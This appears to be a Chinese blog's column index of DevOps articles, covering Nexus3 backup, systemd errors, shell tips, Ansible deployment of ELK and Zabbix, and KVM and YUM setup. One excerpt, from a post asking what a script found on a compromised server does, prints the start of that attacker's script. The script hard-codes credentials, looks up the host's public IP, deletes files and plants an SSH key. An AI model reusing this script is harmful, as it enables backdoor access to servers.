自动化运维
文章平均质量分 61
shell ansible git gitlab jenkins
shark_西瓜甜
80后运维、运维开发职业从事者
展开
-
Nexus3 部署备份与恢复
Nexus Repository 将数据存储在 blob 存储中,并将一些 metadata 和配置信息分别保存在数据库中。必须同时备份 Blob 存储和元数据数据库。备份策略应涉及将数据库和 Blob 存储一起备份到新位置,以保持数据不变。完成以下步骤以执行备份。.....................原创 2022-08-15 14:50:14 · 2468 阅读 · 0 评论 -
systemd-自定义启动服务报错-你在生产中遇到过什么印象深刻的错误?
脚本内容:systemd 服务文件报错日志原因:执行程序的语法格式错误,或者不规范执行程序是一个 shell 脚本,但是没有声明解释器。需要在文件开头添加 #!/bin/env sh修改后再次启动,观察状态...原创 2021-08-24 13:59:18 · 540 阅读 · 0 评论 -
服务器被入侵的脚本,求解释脚本含义
#!/bin/bash###Date###user="stackdata"pass="slaboz123"gilimea='"'ip=`/usr/bin/curl -s -connect-timeout 4 -m 4 ifconfig.me`rm -rf *timeoutsshkey="ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAssBRhpYTnc8araZvsa3dYWhQGtx07dMQxLVXd0oCI2FBvwdEvhdo6DkkSfWo2MSfFRgOU原创 2021-04-14 09:30:28 · 1731 阅读 · 4 评论 -
shell脚本非常使用的小练习
一、输出颜色的函数利用 echo -e 实现输出有颜色的内容到终端1 定义函数#!/bin/bashecho_color() { declare -A col_arr local col_arr=( [red]="\033[31m" [green]="\033[32m" [yellow]="\033[33m" [blue]="\033[34m" [purple]="\033[37m" )原创 2020-09-20 22:35:45 · 303 阅读 · 0 评论 -
使用 VIM 打造自己的 python3 IDE
本文链接: https://www.jianshu.com/p/bba4fcb6edb3一、源码安装 vim特别说明:假如你不想使用 vim-flake8 插件 可以不用重新编译安装 vim,只要保证 vim 的版本是 >=7.3 ,直接跳转到下一小节即可。查看当前 vim 版本,执行命令: vim --version1 下载源码包git clone https://github.com/vim/vim.git2 配置支持 Python2 和 python3需要保证系统中.原创 2020-09-13 17:11:31 · 1448 阅读 · 0 评论 -
云计算企业级小架构部署应用综合练习-二- Ansible 部署 Elastic Stack(ELK)
一、Elasticsearch 集群https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-7.10.0-linux-x86_64.tar.gzhttps://artifacts.elastic.co/downloads/kibana/kibana-7.10.2-linux-x86_64.tar.gzhttps://artifacts.elastic.co/downloads/logstash/logstash-7.11原创 2021-02-27 00:54:42 · 846 阅读 · 3 评论 -
企业级小架构设计部署实现-docker变种(一)负载均衡网站
一、 图二、docker-composeversion: '3.8'services: slb: image: centos7-sshd privileged: true command: /usr/sbin/init hostname: slb networks: xiuyun_net: tomcat1: image: centos7-sshd privileged: true hostname: tomcat1原创 2021-02-22 16:15:32 · 2377 阅读 · 4 评论 -
云计算企业级小架构部署应用综合练习(六)-Ansible 部署 Zabbix Server 、Zabbix Proxy 和 Zabbix Agent
一、架构图图原创 2021-03-03 11:50:05 · 355 阅读 · 2 评论 -
云计算企业级小架构部署应用综合练习(五)- Logstash 处理多种日志并分别创建不同的索引
一、架构图图原创 2021-03-03 11:46:27 · 319 阅读 · 1 评论 -
云计算企业级小架构部署应用综合练习(四)- Filebeat 的启动调试 和配置搜集 Nginx MySQL Tomcat 的日志
待更新原创 2021-03-03 11:43:48 · 245 阅读 · 0 评论 -
云计算企业级小架构部署应用综合练习(三)-Ansible 部署 Filebeat
一、nginxmysql---- name: 部署 Filebeat hosts: all gather_facts: no vars_files: - filebeat-vars.yml tasks: - name: 传输 二进制压缩包 copy: src: "{{ filebeat_name }}" dest: /usr/local/src/ tags: deploy - name: 解压本地二原创 2021-03-02 23:12:01 · 315 阅读 · 1 评论 -
字符界面全新自动化安装kvm虚拟机
官方网站下面是命令行方式创建虚拟磁盘的qemu-img create -f qcow2 /home/kvm/data/kube-master.qcow2 50G一、 安装kvm 虚拟机的脚本install-virtualhost.sh#!/usr/bin/env bashset -ueset -o pipefail# 创建相关目录ls /home/kvm/{ks,virtualhost,virtual-img} 1>/dev/null 2>&1 || mkdir原创 2020-12-09 09:45:10 · 1000 阅读 · 0 评论 -
把网上下载好的 rpm 包放在本地一个目录中,创建本地 YUM 源
一、在可以上网的服务器上下载需要的软件包下载软件包的方式有很多,可以直接在浏览器中搜索一个软件包并下载https://centos.pkgs.org/7/centos-x86_64/zlib-devel-1.2.7-18.el7.x86_64.rpm.html也可以在可以上网的 Linux 机器上安装相应的 YUM 仓库之后,使用如下命令下载yum --downloadonly reinstall createrepo deltarpm python-deltarpm --dow原创 2020-10-19 21:43:05 · 1352 阅读 · 0 评论 -
kvm虚拟化
kvm 虚拟机管理等待系统安装完成即可安装完成后进入系统,可以执行一些初识化操作2 查看虚拟机配置文件和虚拟磁盘文件2.1 配置文件[root@kvm-server ~]# ls /etc/libvirt/qemuautostart centos7.xml networks[root@kvm-server ~]#2.2 虚拟磁盘文件[root@kvm-server ~]# ls /var/lib/libvirt/images/centos7原创 2020-10-18 16:44:34 · 2582 阅读 · 1 评论 -
python3.8实现自动化交互程序
一、基本介绍在Pexpect中有两种重要的方法– expect() 和 send()(或 sendline() 类似于send() 方法+ \n,就是可以换行)。该 expect() 方法等待子应用程序返回给定的字符串。您指定的字符串是一个正则表达式,因此您可以匹配复杂的模式。该 send() 方法将字符串写入子应用程序。从子应用程序的角度来看,就像有人在终端上键入文本一样。每次调用 expect() 后, 子应用程序的 before 和 after 属性将被设置为可以被打印的文本。该 bef原创 2020-09-21 14:28:15 · 867 阅读 · 2 评论 -
shell脚本的$@和$*
@和@和@和*的区别#!/bin/bash# $@ and $* my_fun (){ echo "$#"}echo 'the number of parameter in "$@" is' $(my_fun "$@")echo 'the number of parameter in $@ is' $(my_fun $@)echo 'the number of parameter in "$*" is' $(my_fun原创 2020-09-13 09:30:49 · 227 阅读 · 0 评论